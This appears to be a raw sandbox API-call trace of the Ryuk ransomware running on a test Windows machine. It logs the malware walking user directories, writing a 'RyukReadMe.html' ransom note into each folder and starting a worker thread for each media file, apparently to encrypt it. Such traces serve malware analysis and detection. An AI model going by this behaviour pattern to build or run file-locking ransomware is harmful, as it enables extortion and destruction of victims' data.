	[0213.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac
	[0213.798] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.799] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0213.799] SetLastError (dwErrCode=0x0) 
	[0213.799] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b0
	[0213.800] GetLastError () returned 0xb7
	[0213.800] CloseHandle (hObject=0x6b0) returned 1
	[0213.800] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1f6, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0213.800] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0213.800] SetLastError (dwErrCode=0x0) 
	[0213.801] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0213.801] GetLastError () returned 0x3
	[0213.801] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0213.801] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0213.801] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a91d540, ftCreationTime.dwHighDateTime=0x1d5ba55, ftLastAccessTime.dwLowDateTime=0x64e8b180, ftLastAccessTime.dwHighDateTime=0x1d5b855, ftLastWriteTime.dwLowDateTime=0x64e8b180, ftLastWriteTime.dwHighDateTime=0x1d5b855, nFileSizeHigh=0x0, nFileSizeLow=0x175fa, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="vH9Z9EVpRJYC.flv", cAlternateFileName="VH9Z9E~1.FLV")) returned 1
	[0213.801] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0213.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0
	[0213.805] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.806] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35812970, ftCreationTime.dwHighDateTime=0x1d5bb2c, ftLastAccessTime.dwLowDateTime=0x195810, ftLastAccessTime.dwHighDateTime=0x1d5bcae, ftLastWriteTime.dwLowDateTime=0x195810, ftLastWriteTime.dwHighDateTime=0x1d5bcae, nFileSizeHigh=0x0, nFileSizeLow=0x2d13, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="w5FBdLdrSf.mkv", cAlternateFileName="W5FBDL~1.MKV")) returned 1
	[0213.806] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0213.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4
	[0213.808] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.809] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35825180, ftCreationTime.dwHighDateTime=0x1d5bec7, ftLastAccessTime.dwLowDateTime=0x7746e8a0, ftLastAccessTime.dwHighDateTime=0x1d5c4b8, ftLastWriteTime.dwLowDateTime=0x7746e8a0, ftLastWriteTime.dwHighDateTime=0x1d5c4b8, nFileSizeHigh=0x0, nFileSizeLow=0x14e68, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="wLGrvY baLME.jpg", cAlternateFileName="WLGRVY~1.JPG")) returned 1
	[0213.809] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0213.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8
	[0213.812] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.813] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x57f4d770, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x57f4d770, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="WPDNSE", cAlternateFileName="")) returned 1
	[0213.813] SetLastError (dwErrCode=0x0) 
	[0213.813] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc
	[0213.813] GetLastError () returned 0xb7
	[0213.813] CloseHandle (hObject=0x6bc) returned 1
	[0213.814] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\WPDNSE\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x57f4d770, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x57f4d770, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0213.815] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x57f4d770, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x57f4d770, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0213.815] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x57f4d770, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x57f4d770, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0213.815] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0213.815] SetLastError (dwErrCode=0x0) 
	[0213.815] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\WPDNSE\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\wpdnse\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc
	[0213.816] GetLastError () returned 0x0
	[0213.816] WriteFile (in: hFile=0x6bc, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0213.819] CloseHandle (hObject=0x6bc) returned 1
	[0213.819] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9411ab30, ftCreationTime.dwHighDateTime=0x1d5b745, ftLastAccessTime.dwLowDateTime=0xa781e0b0, ftLastAccessTime.dwHighDateTime=0x1d5b685, ftLastWriteTime.dwLowDateTime=0xa781e0b0, ftLastWriteTime.dwHighDateTime=0x1d5b685, nFileSizeHigh=0x0, nFileSizeLow=0x11b38, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="xHyat.m4a", cAlternateFileName="")) returned 1
	[0213.820] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0213.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc
	[0213.823] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.824] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5308bed0, ftCreationTime.dwHighDateTime=0x1d5bf3d, ftLastAccessTime.dwLowDateTime=0x400f09c0, ftLastAccessTime.dwHighDateTime=0x1d5bad7, ftLastWriteTime.dwLowDateTime=0x400f09c0, ftLastWriteTime.dwHighDateTime=0x1d5bad7, nFileSizeHigh=0x0, nFileSizeLow=0xe9d9, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="XZ-jXxH.flv", cAlternateFileName="")) returned 1
	[0213.824] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0213.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0
	[0215.743] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0215.748] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5308bed0, ftCreationTime.dwHighDateTime=0x1d5bf3d, ftLastAccessTime.dwLowDateTime=0x400f09c0, ftLastAccessTime.dwHighDateTime=0x1d5bad7, ftLastWriteTime.dwLowDateTime=0x400f09c0, ftLastWriteTime.dwHighDateTime=0x1d5bad7, nFileSizeHigh=0x0, nFileSizeLow=0xe9d9, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="XZ-jXxH.flv", cAlternateFileName="")) returned 0
	[0216.820] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0217.300] SetLastError (dwErrCode=0x0) 
	[0217.300] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8
	[0217.301] GetLastError () returned 0xb7
	[0217.301] CloseHandle (hObject=0x6c8) returned 1
	[0217.301] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0217.301] SetLastError (dwErrCode=0x0) 
	[0217.301] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8
	[0217.302] GetLastError () returned 0xb7
	[0217.302] CloseHandle (hObject=0x6c8) returned 1
	[0217.302] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0217.304] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0217.304] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1
	[0217.304] SetLastError (dwErrCode=0x0) 
	[0217.304] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.304] GetLastError () returned 0x3
	[0217.304] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0217.305] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.305] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0217.305] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0217.305] SetLastError (dwErrCode=0x0) 
	[0217.305] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.305] GetLastError () returned 0x3
	[0217.305] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0217.306] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.306] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Content.MSO", cAlternateFileName="")) returned 1
	[0217.306] SetLastError (dwErrCode=0x0) 
	[0217.306] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.306] GetLastError () returned 0x3
	[0217.306] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0217.306] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.306] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.MSO\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0217.306] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0217.307] SetLastError (dwErrCode=0x0) 
	[0217.307] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.MSO\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.mso\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.307] GetLastError () returned 0x3
	[0217.307] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0217.307] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.307] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27b4c650, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Content.Word", cAlternateFileName="CONTEN~1.WOR")) returned 1
	[0217.307] SetLastError (dwErrCode=0x0) 
	[0217.308] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0217.308] GetLastError () returned 0x3
	[0217.308] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0217.308] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0217.308] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.Word\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0217.308] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0217.308] SetLastError (dwErrCode=0x0) 
